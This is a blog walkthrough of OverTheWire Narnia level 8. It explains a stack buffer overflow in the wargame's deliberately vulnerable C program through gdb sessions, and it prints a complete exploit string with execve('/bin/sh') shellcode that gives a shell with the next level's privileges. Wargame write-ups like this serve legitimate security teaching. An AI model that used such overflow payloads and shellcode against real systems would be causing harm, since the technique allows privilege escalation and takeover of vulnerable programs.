OverTheWire.org - Narnia - Level 8 Writeup

The vulnerable code is:


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// gcc's variable reordering fucked things up
// to keep the level in its old style i am
// making "i" global until i find a fix
// -morla
int i;

void func(char *b){
        char *blah=b;
        char bok[20];
        //int i=0;

        memset(bok, '\0', sizeof(bok));
        for(i=0; blah[i] != '\0'; i++)
                bok[i]=blah[i];

        printf("%s\n",bok);
}

int main(int argc, char **argv){

        if(argc > 1)
                func(argv[1]);
        else
        printf("%s argument\n", argv[0]);

        return 0;
}

The vulnerable part is in the function func()
When it's called, it allocates in the stack:

  1. blah -> pointer to argument 
  2. bok[20] -> buffer of 20 bytes that will store the content of the argument passed to func()

if we pass an argument longer than 20 we can overwrite past the bok[20] buffer, but it seems to be wroking only on some inputs and lenghts.

The point is that whenever we reach the 21st byte, we're overwriting *blah that points to what we are trying to copy from.

Therefore if we put an arbitrary value for the 21st bytes, it will change the location where the copy cycle gets the source data, and it most probably results in reading invalid memory address, failing with Segmentation Fault error.
Let's disassemble the function func()
Then place a break near the end (after the copy cycle):
arnia8@narnia:~$ gdb /narnia/narnia8
...
Reading symbols from /narnia/narnia8...(no debugging symbols found)...done.
(gdb) disassemble  func
Dump of assembler code for function func:
...
 0x0804847a <+95>:    jne    0x8048443 <func+40>
   0x0804847c <+97>:    lea    -0x18(%ebp),%eax
   0x0804847f <+100>:   push   %eax
   0x08048480 <+101>:   push   $0x8048550
   0x08048485 <+106>:   call   0x80482e0 <printf@plt>
   0x0804848a <+111>:   add    $0x8,%esp
   0x0804848d <+114>:   nop
   0x0804848e <+115>:   leave
   0x0804848f <+116>:   ret
End of assembler dump.
(gdb)  break *0x0804848a
(gdb) set args $(python -c 'print "A"*20')
(gdb) r
Starting program: /narnia/narnia8 $(python -c 'print "A"*20')
AAAAAAAAAAAAAAAAAAAA¦¦¦¦¦¦¦¦¦¦¦¦¦

Breakpoint 1, 0x0804848a in func ()
(gdb) info reg
eax            0x25     37
ecx            0x7fffffdb       2147483611
edx            0xf7fc6870       -134453136
ebx            0x0      0
esp            0xffffd69c       0xffffd69c
ebp            0xffffd6bc       0xffffd6bc
gs             0x63     99
....
(gdb) x/20x 0xffffd68c
0xffffd68c:     0xffffd6a4      0xf7ffd920      0xf7e5b7d5      0x0804848a
0xffffd69c:     0x08048550      0xffffd6a4      0x41414141      0x41414141
0xffffd6ac:     0x41414141      0x41414141      0x41414141      0xffffd89c
0xffffd6bc:     0xffffd6c8      0x080484a7      0xffffd89c      0x00000000

We get the ESP value and show memory in that area: we see that there are 20 consecutive "0x41" followed by: 0xffffd89c

  • 0xffffd89c (the pointer *blah to the argument)
  • 0xffffd6c8 (other pointer ebp)
  • 0x080484a7 (the return address from func()
Our goal is to overwrite the third value to change execution flow.
But we don't have to touch the 0xffffd89c, otherwise the copy cycle will fail.
Let's try to trigger it adding some specifically crafted bytes:
"A" * 20 + 0xffffd89c + 0xffffd6c8 + "CCCC"
Since we're writing little more bytes, let's decrease the blah pointer from 0xffffd89c to 0xffffd89a

(gdb) set args $(python -c 'print "A"*20 + "\x94\xd8\xff\xff" + "\xc8\xd6\xff\xff" + "CCCC"')
(gdb) r
Starting program: /narnia/narnia8 $(python -c 'print "A"*20 + "\x90\xd8\xff\xff" + "\xc8\xd6\xff\xff" + "CCCC"')
AAAAAAAAAAAAAAAAAAAA¦¦¦¦¦¦¦¦CCCC¦¦¦¦

Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
(gdb) info registers
eax            0x25     37
ecx            0x7fffffdb       2147483611
edx            0xf7fc6870       -134453136
ebx            0x0      0
esp            0xffffd6c4       0xffffd6c4
...
(gdb) x/10wx 0xffffd6a4
0xffffd6a4:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd6b4:     0x41414141      0xffffd894      0xffffd6c8      0x43434343
0xffffd6c4:     0xffffd894      0x00000000
Good... we were able to get past *blah. reach the return address and then overwrite it with 0x43434343 (hex value of ASCII "CCCC").
We also see that ESP pointer points just after the "CCCC" string. Therefore we should be able to use the JMP ESP tecnique (used in level 2)

Now we have to create the exploiting code:

  1. 20 filling butes ("A")
  2. address of *blah (require some guess)
  3. Base pointer (we can try to use the same as above)
  4. JMP ESP istruction in memory (reuse Level 2 address: "\x97\x4f\xfc\xf7")
  5. Add a standard shellcode (execve("bin/sh")
In gdb we can see that the longer inputs require some guess and the working *blah pointer is 0xffffd87d:

(gdb) set args $(python -c 'print "A"*20 + "\x7d\xd8\xff\xff" + "\xa8\xd6\xff\xff" + "\x97\x4f\xfc\xf7" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')
(gdb) r
Starting program: /narnia/narnia8 $(python -c 'print "A"*20 + "\x7d\xd8\xff\xff" + "\xa8\xd6\xff\xff" + "\x97\x4f\xfc\xf7" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')
AAAAAAAAAAAAAAAAAAAA}▒▒▒▒▒▒▒▒O▒▒1▒Ph//shh/bin▒▒PS▒▒
                                                   ̀▒
process 14276 is executing new program: /bin/dash
$

Outside gdb we have to guess an address near to "\x7d\xd8\xff\xff".
Let's try with 7d, 7e, 7f ...
In a few retries we find that 8f is the good one:


narnia8@narnia:~$  /narnia/narnia8 $(python -c 'print "A"*20 + "\x8f\xd8\xff\xff" + "\xa8\xd6\xff\xff" + "\x97\x4f\xfc\xf7" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')
AAAAAAAAAAAAAAAAAAAA▒▒▒▒▒▒▒▒▒O▒▒1▒Ph//shh/bin▒▒PS▒▒
                                                   ̀▒
$ id
uid=14008(narnia8) gid=14008(narnia8) euid=14009(narnia9) groups=14008(narnia8)
$ cat /etc/narnia_pass/narnia9
e*******e
$

No comments:

Post a Comment

Note: Only a member of this blog may post a comment.